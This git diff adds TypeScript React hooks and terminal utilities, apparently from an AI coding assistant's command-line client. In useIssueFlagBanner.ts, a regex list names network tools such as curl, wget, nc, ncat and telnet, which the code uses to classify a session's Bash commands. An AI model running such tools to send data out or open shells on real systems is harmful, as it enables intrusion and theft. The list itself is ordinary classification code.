diff --git a/_all-in-one-upload/cc-haha/src/hooks/useIdeConnectionStatus.ts b/_all-in-one-upload/cc-haha/src/hooks/useIdeConnectionStatus.ts
new file mode 100644
index 0000000..418e3dc
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/hooks/useIdeConnectionStatus.ts
@@ -0,0 +1,33 @@
+import { useMemo } from 'react'
+import type { MCPServerConnection } from '../services/mcp/types.js'
+
+export type IdeStatus = 'connected' | 'disconnected' | 'pending' | null
+
+type IdeConnectionResult = {
+  status: IdeStatus
+  ideName: string | null
+}
+
+export function useIdeConnectionStatus(
+  mcpClients?: MCPServerConnection[],
+): IdeConnectionResult {
+  return useMemo(() => {
+    const ideClient = mcpClients?.find(client => client.name === 'ide')
+    if (!ideClient) {
+      return { status: null, ideName: null }
+    }
+    // Extract IDE name from config if available
+    const config = ideClient.config
+    const ideName =
+      config.type === 'sse-ide' || config.type === 'ws-ide'
+        ? config.ideName
+        : null
+    if (ideClient.type === 'connected') {
+      return { status: 'connected', ideName }
+    }
+    if (ideClient.type === 'pending') {
+      return { status: 'pending', ideName }
+    }
+    return { status: 'disconnected', ideName }
+  }, [mcpClients])
+}
diff --git a/_all-in-one-upload/cc-haha/src/hooks/useIssueFlagBanner.ts b/_all-in-one-upload/cc-haha/src/hooks/useIssueFlagBanner.ts
new file mode 100644
index 0000000..adb3083
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/hooks/useIssueFlagBanner.ts
@@ -0,0 +1,133 @@
+import { useMemo, useRef } from 'react'
+import { BASH_TOOL_NAME } from '../tools/BashTool/toolName.js'
+import type { Message } from '../types/message.js'
+import { getUserMessageText } from '../utils/messages.js'
+
+const EXTERNAL_COMMAND_PATTERNS = [
+  /\bcurl\b/,
+  /\bwget\b/,
+  /\bssh\b/,
+  /\bkubectl\b/,
+  /\bsrun\b/,
+  /\bdocker\b/,
+  /\bbq\b/,
+  /\bgsutil\b/,
+  /\bgcloud\b/,
+  /\baws\b/,
+  /\bgit\s+push\b/,
+  /\bgit\s+pull\b/,
+  /\bgit\s+fetch\b/,
+  /\bgh\s+(pr|issue)\b/,
+  /\bnc\b/,
+  /\bncat\b/,
+  /\btelnet\b/,
+  /\bftp\b/,
+]
+
+const FRICTION_PATTERNS = [
+  // "No," or "No!" at start — comma/exclamation implies correction tone
+  // (avoids "No problem", "No thanks", "No I think we should...")
+  /^no[,!]\s/i,
+  // Direct corrections about Claude's output
+  /\bthat'?s (wrong|incorrect|not (what|right|correct))\b/i,
+  /\bnot what I (asked|wanted|meant|said)\b/i,
+  // Referencing prior instructions Claude missed
+  /\bI (said|asked|wanted|told you|already said)\b/i,
+  // Questioning Claude's actions
+  /\bwhy did you\b/i,
+  /\byou should(n'?t| not)? have\b/i,
+  /\byou were supposed to\b/i,
+  // Explicit retry/revert of Claude's work
+  /\btry again\b/i,
+  /\b(undo|revert) (that|this|it|what you)\b/i,
+]
+
+export function isSessionContainerCompatible(messages: Message[]): boolean {
+  for (const msg of messages) {
+    if (msg.type !== 'assistant') {
+      continue
+    }
+    const content = msg.message.content
+    if (!Array.isArray(content)) {
+      continue
+    }
+    for (const block of content) {
+      if (block.type !== 'tool_use' || !('name' in block)) {
+        continue
+      }
+      const toolName = block.name as string
+      if (toolName.startsWith('mcp__')) {
+        return false
+      }
+      if (toolName === BASH_TOOL_NAME) {
+        const input = (block as { input?: Record<string, unknown> }).input
+        const command = (input?.command as string) || ''
+        if (EXTERNAL_COMMAND_PATTERNS.some(p => p.test(command))) {
+          return false
+        }
+      }
+    }
+  }
+  return true
+}
+
+export function hasFrictionSignal(messages: Message[]): boolean {
+  for (let i = messages.length - 1; i >= 0; i--) {
+    const msg = messages[i]!
+    if (msg.type !== 'user') {
+      continue
+    }
+    const text = getUserMessageText(msg)
+    if (!text) {
+      continue
+    }
+    return FRICTION_PATTERNS.some(p => p.test(text))
+  }
+  return false
+}
+
+const MIN_SUBMIT_COUNT = 3
+const COOLDOWN_MS = 30 * 60 * 1000
+
+export function useIssueFlagBanner(
+  messages: Message[],
+  submitCount: number,
+): boolean {
+  if (process.env.USER_TYPE !== 'ant') {
+    return false
+  }
+
+  // biome-ignore lint/correctness/useHookAtTopLevel: process.env.USER_TYPE is a compile-time constant
+  const lastTriggeredAtRef = useRef(0)
+  // biome-ignore lint/correctness/useHookAtTopLevel: process.env.USER_TYPE is a compile-time constant
+  const activeForSubmitRef = useRef(-1)
+
+  // Memoize the O(messages) scans. This hook runs on every REPL render
+  // (including every keystroke), but messages is stable during typing.
+  // isSessionContainerCompatible walks all messages + regex-tests each
+  // bash command — by far the heaviest work here.
+  // biome-ignore lint/correctness/useHookAtTopLevel: process.env.USER_TYPE is a compile-time constant
+  const shouldTrigger = useMemo(
+    () => isSessionContainerCompatible(messages) && hasFrictionSignal(messages),
+    [messages],
+  )
+
+  // Keep showing the banner until the user submits another message
+  if (activeForSubmitRef.current === submitCount) {
+    return true
+  }
+
+  if (Date.now() - lastTriggeredAtRef.current < COOLDOWN_MS) {
+    return false
+  }
+  if (submitCount < MIN_SUBMIT_COUNT) {
+    return false
+  }
+  if (!shouldTrigger) {
+    return false
+  }
+
+  lastTriggeredAtRef.current = Date.now()
+  activeForSubmitRef.current = submitCount
+  return true
+}
diff --git a/_all-in-one-upload/cc-haha/src/hooks/usePluginRecommendationBase.tsx b/_all-in-one-upload/cc-haha/src/hooks/usePluginRecommendationBase.tsx
new file mode 100644
index 0000000..9a2a2d4
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/hooks/usePluginRecommendationBase.tsx
@@ -0,0 +1,105 @@
+import { c as _c } from "react/compiler-runtime";
+/**
+ * Shared state machine + install helper for plugin-recommendation hooks
+ * (LSP, claude-code-hint). Centralizes the gate chain, async-guard,
+ * and success/failure notification JSX so new sources stay small.
+ */
+
+import figures from 'figures';
+import * as React from 'react';
+import { getIsRemoteMode } from '../bootstrap/state.js';
+import type { useNotifications } from '../context/notifications.js';
+import { Text } from '../ink.js';
+import { logError } from '../utils/log.js';
+import { getPluginById } from '../utils/plugins/marketplaceManager.js';
+type AddNotification = ReturnType<typeof useNotifications>['addNotification'];
+type PluginData = NonNullable<Awaited<ReturnType<typeof getPluginById>>>;
+
+/**
+ * Call tryResolve inside a useEffect; it applies standard gates (remote
+ * mode, already-showing, in-flight) then runs resolve(). Non-null return
+ * becomes the recommendation. Include tryResolve in effect deps — its
+ * identity tracks recommendation, so clearing re-triggers resolution.
+ */
+export function usePluginRecommendationBase() {
+  const $ = _c(6);
+  const [recommendation, setRecommendation] = React.useState(null);
+  const isCheckingRef = React.useRef(false);
+  let t0;
+  if ($[0] !== recommendation) {
+    t0 = resolve => {
+      if (getIsRemoteMode()) {
+        return;
+      }
+      if (recommendation) {
+        return;
+      }
+      if (isCheckingRef.current) {
+        return;
+      }
+      isCheckingRef.current = true;
+      resolve().then(rec => {
+        if (rec) {
+          setRecommendation(rec);
+        }
+      }).catch(logError).finally(() => {
+        isCheckingRef.current = false;
+      });
+    };
+    $[0] = recommendation;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  const tryResolve = t0;
+  let t1;
+  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = () => setRecommendation(null);
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  const clearRecommendation = t1;
+  let t2;
+  if ($[3] !== recommendation || $[4] !== tryResolve) {
+    t2 = {
+      recommendation,
+      clearRecommendation,
+      tryResolve
+    };
+    $[3] = recommendation;
+    $[4] = tryResolve;
+    $[5] = t2;
+  } else {
+    t2 = $[5];
+  }
+  return t2;
+}
+
+/** Look up plugin, run install(), emit standard success/failure notification. */
+export async function installPluginAndNotify(pluginId: string, pluginName: string, keyPrefix: string, addNotification: AddNotification, install: (pluginData: PluginData) => Promise<void>): Promise<void> {
+  try {
+    const pluginData = await getPluginById(pluginId);
+    if (!pluginData) {
+      throw new Error(`Plugin ${pluginId} not found in marketplace`);
+    }
+    await install(pluginData);
+    addNotification({
+      key: `${keyPrefix}-installed`,
+      jsx: <Text color="success">
+          {figures.tick} {pluginName} installed · restart to apply
+        </Text>,
+      priority: 'immediate',
+      timeoutMs: 5000
+    });
+  } catch (error) {
+    logError(error);
+    addNotification({
+      key: `${keyPrefix}-install-failed`,
+      jsx: <Text color="error">Failed to install {pluginName}</Text>,
+      priority: 'immediate',
+      timeoutMs: 5000
+    });
+  }
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJmaWd1cmVzIiwiUmVhY3QiLCJnZXRJc1JlbW90ZU1vZGUiLCJ1c2VOb3RpZmljYXRpb25zIiwiVGV4dCIsImxvZ0Vycm9yIiwiZ2V0UGx1Z2luQnlJZCIsIkFkZE5vdGlmaWNhdGlvbiIsIlJldHVyblR5cGUiLCJQbHVnaW5EYXRhIiwiTm9uTnVsbGFibGUiLCJBd2FpdGVkIiwidXNlUGx1Z2luUmVjb21tZW5kYXRpb25CYXNlIiwiJCIsIl9jIiwicmVjb21tZW5kYXRpb24iLCJzZXRSZWNvbW1lbmRhdGlvbiIsInVzZVN0YXRlIiwiaXNDaGVja2luZ1JlZiIsInVzZVJlZiIsInQwIiwicmVzb2x2ZSIsImN1cnJlbnQiLCJ0aGVuIiwicmVjIiwiY2F0Y2giLCJmaW5hbGx5IiwidHJ5UmVzb2x2ZSIsInQxIiwiU3ltYm9sIiwiZm9yIiwiY2xlYXJSZWNvbW1lbmRhdGlvbiIsInQyIiwiaW5zdGFsbFBsdWdpbkFuZE5vdGlmeSIsInBsdWdpbklkIiwicGx1Z2luTmFtZSIsImtleVByZWZpeCIsImFkZE5vdGlmaWNhdGlvbiIsImluc3RhbGwiLCJwbHVnaW5EYXRhIiwiUHJvbWlzZSIsIkVycm9yIiwia2V5IiwianN4IiwidGljayIsInByaW9yaXR5IiwidGltZW91dE1zIiwiZXJyb3IiXSwic291cmNlcyI6WyJ1c2VQbHVnaW5SZWNvbW1lbmRhdGlvbkJhc2UudHN4Il0sInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogU2hhcmVkIHN0YXRlIG1hY2hpbmUgKyBpbnN0YWxsIGhlbHBlciBmb3IgcGx1Z2luLXJlY29tbWVuZGF0aW9uIGhvb2tzXG4gKiAoTFNQLCBjbGF1ZGUtY29kZS1oaW50KS4gQ2VudHJhbGl6ZXMgdGhlIGdhdGUgY2hhaW4sIGFzeW5jLWd1YXJkLFxuICogYW5kIHN1Y2Nlc3MvZmFpbHVyZSBub3RpZmljYXRpb24gSlNYIHNvIG5ldyBzb3VyY2VzIHN0YXkgc21hbGwuXG4gKi9cblxuaW1wb3J0IGZpZ3VyZXMgZnJvbSAnZmlndXJlcydcbmltcG9ydCAqIGFzIFJlYWN0IGZyb20gJ3JlYWN0J1xuaW1wb3J0IHsgZ2V0SXNSZW1vdGVNb2RlIH0gZnJvbSAnLi4vYm9vdHN0cmFwL3N0YXRlLmpzJ1xuaW1wb3J0IHR5cGUgeyB1c2VOb3RpZmljYXRpb25zIH0gZnJvbSAnLi4vY29udGV4dC9ub3RpZmljYXRpb25zLmpzJ1xuaW1wb3J0IHsgVGV4dCB9IGZyb20gJy4uL2luay5qcydcbmltcG9ydCB7IGxvZ0Vycm9yIH0gZnJvbSAnLi4vdXRpbHMvbG9nLmpzJ1xuaW1wb3J0IHsgZ2V0UGx1Z2luQnlJZCB9IGZyb20gJy4uL3V0aWxzL3BsdWdpbnMvbWFya2V0cGxhY2VNYW5hZ2VyLmpzJ1xuXG50eXBlIEFkZE5vdGlmaWNhdGlvbiA9IFJldHVyblR5cGU8dHlwZW9mIHVzZU5vdGlmaWNhdGlvbnM+WydhZGROb3RpZmljYXRpb24nXVxudHlwZSBQbHVnaW5EYXRhID0gTm9uTnVsbGFibGU8QXdhaXRlZDxSZXR1cm5UeXBlPHR5cGVvZiBnZXRQbHVnaW5CeUlkPj4+XG5cbi8qKlxuICogQ2FsbCB0cnlSZXNvbHZlIGluc2lkZSBhIHVzZUVmZmVjdDsgaXQgYXBwbGllcyBzdGFuZGFyZCBnYXRlcyAocmVtb3RlXG4gKiBtb2RlLCBhbHJlYWR5LXNob3dpbmcsIGluLWZsaWdodCkgdGhlbiBydW5zIHJlc29sdmUoKS4gTm9uLW51bGwgcmV0dXJuXG4gKiBiZWNvbWVzIHRoZSByZWNvbW1lbmRhdGlvbi4gSW5jbHVkZSB0cnlSZXNvbHZlIGluIGVmZmVjdCBkZXBzIOKAlCBpdHNcbiAqIGlkZW50aXR5IHRyYWNrcyByZWNvbW1lbmRhdGlvbiwgc28gY2xlYXJpbmcgcmUtdHJpZ2dlcnMgcmVzb2x1dGlvbi5cbiAqL1xuZXhwb3J0IGZ1bmN0aW9uIHVzZVBsdWdpblJlY29tbWVuZGF0aW9uQmFzZTxUPigpOiB7XG4gIHJlY29tbWVuZGF0aW9uOiBUIHwgbnVsbFxuICBjbGVhclJlY29tbWVuZGF0aW9uOiAoKSA9PiB2b2lkXG4gIHRyeVJlc29sdmU6IChyZXNvbHZlOiAoKSA9PiBQcm9taXNlPFQgfCBudWxsPikgPT4gdm9pZFxufSB7XG4gIGNvbnN0IFtyZWNvbW1lbmRhdGlvbiwgc2V0UmVjb21tZW5kYXRpb25dID0gUmVhY3QudXNlU3RhdGU8VCB8IG51bGw+KG51bGwpXG4gIGNvbnN0IGlzQ2hlY2tpbmdSZWYgPSBSZWFjdC51c2VSZWYoZmFsc2UpXG5cbiAgY29uc3QgdHJ5UmVzb2x2ZSA9IFJlYWN0LnVzZUNhbGxiYWNrKFxuICAgIChyZXNvbHZlOiAoKSA9PiBQcm9taXNlPFQgfCBudWxsPikgPT4ge1xuICAgICAgaWYgKGdldElzUmVtb3RlTW9kZSgpKSByZXR1cm5cbiAgICAgIGlmIChyZWNvbW1lbmRhdGlvbikgcmV0dXJuXG4gICAgICBpZiAoaXNDaGVja2luZ1JlZi5jdXJyZW50KSByZXR1cm5cblxuICAgICAgaXNDaGVja2luZ1JlZi5jdXJyZW50ID0gdHJ1ZVxuICAgICAgdm9pZCByZXNvbHZlKClcbiAgICAgICAgLnRoZW4ocmVjID0+IHtcbiAgICAgICAgICBpZiAocmVjKSBzZXRSZWNvbW1lbmRhdGlvbihyZWMpXG4gICAgICAgIH0pXG4gICAgICAgIC5jYXRjaChsb2dFcnJvcilcbiAgICAgICAgLmZpbmFsbHkoKCkgPT4ge1xuICAgICAgICAgIGlzQ2hlY2tpbmdSZWYuY3VycmVudCA9IGZhbHNlXG4gICAgICAgIH0pXG4gICAgfSxcbiAgICBbcmVjb21tZW5kYXRpb25dLFxuICApXG5cbiAgY29uc3QgY2xlYXJSZWNvbW1lbmRhdGlvbiA9IFJlYWN0LnVzZUNhbGxiYWNrKFxuICAgICgpID0+IHNldFJlY29tbWVuZGF0aW9uKG51bGwpLFxuICAgIFtdLFxuICApXG5cbiAgcmV0dXJuIHsgcmVjb21tZW5kYXRpb24sIGNsZWFyUmVjb21tZW5kYXRpb24sIHRyeVJlc29sdmUgfVxufVxuXG4vKiogTG9vayB1cCBwbHVnaW4sIHJ1biBpbnN0YWxsKCksIGVtaXQgc3RhbmRhcmQgc3VjY2Vzcy9mYWlsdXJlIG5vdGlmaWNhdGlvbi4gKi9cbmV4cG9ydCBhc3luYyBmdW5jdGlvbiBpbnN0YWxsUGx1Z2luQW5kTm90aWZ5KFxuICBwbHVnaW5JZDogc3RyaW5nLFxuICBwbHVnaW5OYW1lOiBzdHJpbmcsXG4gIGtleVByZWZpeDogc3RyaW5nLFxuICBhZGROb3RpZmljYXRpb246IEFkZE5vdGlmaWNhdGlvbixcbiAgaW5zdGFsbDogKHBsdWdpbkRhdGE6IFBsdWdpbkRhdGEpID0+IFByb21pc2U8dm9pZD4sXG4pOiBQcm9taXNlPHZvaWQ+IHtcbiAgdHJ5IHtcbiAgICBjb25zdCBwbHVnaW5EYXRhID0gYXdhaXQgZ2V0UGx1Z2luQnlJZChwbHVnaW5JZClcbiAgICBpZiAoIXBsdWdpbkRhdGEpIHtcbiAgICAgIHRocm93IG5ldyBFcnJvcihgUGx1Z2luICR7cGx1Z2luSWR9IG5vdCBmb3VuZCBpbiBtYXJrZXRwbGFjZWApXG4gICAgfVxuICAgIGF3YWl0IGluc3RhbGwocGx1Z2luRGF0YSlcbiAgICBhZGROb3RpZmljYXRpb24oe1xuICAgICAga2V5OiBgJHtrZXlQcmVmaXh9LWluc3RhbGxlZGAsXG4gICAgICBqc3g6IChcbiAgICAgICAgPFRleHQgY29sb3I9XCJzdWNjZXNzXCI+XG4gICAgICAgICAge2ZpZ3VyZXMudGlja30ge3BsdWdpbk5hbWV9IGluc3RhbGxlZCDCtyByZXN0YXJ0IHRvIGFwcGx5XG4gICAgICAgIDwvVGV4dD5cbiAgICAgICksXG4gICAgICBwcmlvcml0eTogJ2ltbWVkaWF0ZScsXG4gICAgICB0aW1lb3V0TXM6IDUwMDAsXG4gICAgfSlcbiAgfSBjYXRjaCAoZXJyb3IpIHtcbiAgICBsb2dFcnJvcihlcnJvcilcbiAgICBhZGROb3RpZmljYXRpb24oe1xuICAgICAga2V5OiBgJHtrZXlQcmVmaXh9LWluc3RhbGwtZmFpbGVkYCxcbiAgICAgIGpzeDogPFRleHQgY29sb3I9XCJlcnJvclwiPkZhaWxlZCB0byBpbnN0YWxsIHtwbHVnaW5OYW1lfTwvVGV4dD4sXG4gICAgICBwcmlvcml0eTogJ2ltbWVkaWF0ZScs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
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/hooks/useTerminalSize.ts b/_all-in-one-upload/cc-haha/src/hooks/useTerminalSize.ts
new file mode 100644
index 0000000..68e24df
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/hooks/useTerminalSize.ts
@@ -0,0 +1,15 @@
+import { useContext } from 'react'
+import {
+  type TerminalSize,
+  TerminalSizeContext,
+} from 'src/ink/components/TerminalSizeContext.js'
+
+export function useTerminalSize(): TerminalSize {
+  const size = useContext(TerminalSizeContext)
+
+  if (!size) {
+    throw new Error('useTerminalSize must be used within an Ink App component')
+  }
+
+  return size
+}
diff --git a/_all-in-one-upload/cc-haha/src/hooks/useUpdateNotification.ts b/_all-in-one-upload/cc-haha/src/hooks/useUpdateNotification.ts
new file mode 100644
index 0000000..c9a7b2a
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/hooks/useUpdateNotification.ts
@@ -0,0 +1,34 @@
+import { useState } from 'react'
+import { major, minor, patch } from 'semver'
+
+export function getSemverPart(version: string): string {
+  return `${major(version, { loose: true })}.${minor(version, { loose: true })}.${patch(version, { loose: true })}`
+}
+
+export function shouldShowUpdateNotification(
+  updatedVersion: string,
+  lastNotifiedSemver: string | null,
+): boolean {
+  const updatedSemver = getSemverPart(updatedVersion)
+  return updatedSemver !== lastNotifiedSemver
+}
+
+export function useUpdateNotification(
+  updatedVersion: string | null | undefined,
+  initialVersion: string = MACRO.VERSION,
+): string | null {
+  const [lastNotifiedSemver, setLastNotifiedSemver] = useState<string | null>(
+    () => getSemverPart(initialVersion),
+  )
+
+  if (!updatedVersion) {
+    return null
+  }
+
+  const updatedSemver = getSemverPart(updatedVersion)
+  if (updatedSemver !== lastNotifiedSemver) {
+    setLastNotifiedSemver(updatedSemver)
+    return updatedSemver
+  }
+  return null
+}
diff --git a/_all-in-one-upload/cc-haha/src/hooks/useVoiceEnabled.ts b/_all-in-one-upload/cc-haha/src/hooks/useVoiceEnabled.ts
new file mode 100644
index 0000000..ece0691
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/hooks/useVoiceEnabled.ts
@@ -0,0 +1,25 @@
+import { useMemo } from 'react'
+import { useAppState } from '../state/AppState.js'
+import {
+  hasVoiceAuth,
+  isVoiceGrowthBookEnabled,
+} from '../voice/voiceModeEnabled.js'
+
+/**
+ * Combines user intent (settings.voiceEnabled) with auth + GB kill-switch.
+ * Only the auth half is memoized on authVersion — it's the expensive one
+ * (cold getClaudeAIOAuthTokens memoize → sync `security` spawn, ~60ms/call,
+ * ~180ms total in profile v5 when token refresh cleared the cache mid-session).
+ * GB is a cheap cached-map lookup and stays outside the memo so a mid-session
+ * kill-switch flip still takes effect on the next render.
+ *
+ * authVersion bumps on /login only. Background token refresh leaves it alone
+ * (user is still authed), so the auth memo stays correct without re-eval.
+ */
+export function useVoiceEnabled(): boolean {
+  const userIntent = useAppState(s => s.settings.voiceEnabled === true)
+  const authVersion = useAppState(s => s.authVersion)
+  // eslint-disable-next-line react-hooks/exhaustive-deps
+  const authed = useMemo(hasVoiceAuth, [authVersion])
+  return userIntent && authed && isVoiceGrowthBookEnabled()
+}
diff --git a/_all-in-one-upload/cc-haha/src/ink/clearTerminal.ts b/_all-in-one-upload/cc-haha/src/ink/clearTerminal.ts
new file mode 100644
index 0000000..38d4a68
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/ink/clearTerminal.ts
@@ -0,0 +1,74 @@
+/**
+ * Cross-platform terminal clearing with scrollback support.
+ * Detects modern terminals that support ESC[3J for clearing scrollback.
+ */
+
+import {
+  CURSOR_HOME,
+  csi,
+  ERASE_SCREEN,
+  ERASE_SCROLLBACK,
+} from './termio/csi.js'
+
+// HVP (Horizontal Vertical Position) - legacy Windows cursor home
+const CURSOR_HOME_WINDOWS = csi(0, 'f')
+
+function isWindowsTerminal(): boolean {
+  return process.platform === 'win32' && !!process.env.WT_SESSION
+}
+
+function isMintty(): boolean {
+  // mintty 3.1.5+ sets TERM_PROGRAM to 'mintty'
+  if (process.env.TERM_PROGRAM === 'mintty') {
+    return true
+  }
+  // GitBash/MSYS2/MINGW use mintty and set MSYSTEM
+  if (process.platform === 'win32' && process.env.MSYSTEM) {
+    return true
+  }
+  return false
+}
+
+function isModernWindowsTerminal(): boolean {
+  // Windows Terminal sets WT_SESSION environment variable
+  if (isWindowsTerminal()) {
+    return true
+  }
+
+  // VS Code integrated terminal on Windows with ConPTY support
+  if (
+    process.platform === 'win32' &&
+    process.env.TERM_PROGRAM === 'vscode' &&
+    process.env.TERM_PROGRAM_VERSION
+  ) {
+    return true
+  }
+
+  // mintty (GitBash/MSYS2/Cygwin) supports modern escape sequences
+  if (isMintty()) {
+    return true
+  }
+
+  return false
+}
+
+/**
+ * Returns the ANSI escape sequence to clear the terminal including scrollback.
+ * Automatically detects terminal capabilities.
+ */
+export function getClearTerminalSequence(): string {
+  if (process.platform === 'win32') {
+    if (isModernWindowsTerminal()) {
+      return ERASE_SCREEN + ERASE_SCROLLBACK + CURSOR_HOME
+    } else {
+      // Legacy Windows console - can't clear scrollback
+      return ERASE_SCREEN + CURSOR_HOME_WINDOWS
+    }
+  }
+  return ERASE_SCREEN + ERASE_SCROLLBACK + CURSOR_HOME
+}
+
+/**
+ * Clears the terminal screen. On supported terminals, also clears scrollback.
+ */
+export const clearTerminal = getClearTerminalSequence()
diff --git a/_all-in-one-upload/cc-haha/src/ink/components/RawAnsi.tsx b/_all-in-one-upload/cc-haha/src/ink/components/RawAnsi.tsx
new file mode 100644
index 0000000..919e453
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/ink/components/RawAnsi.tsx
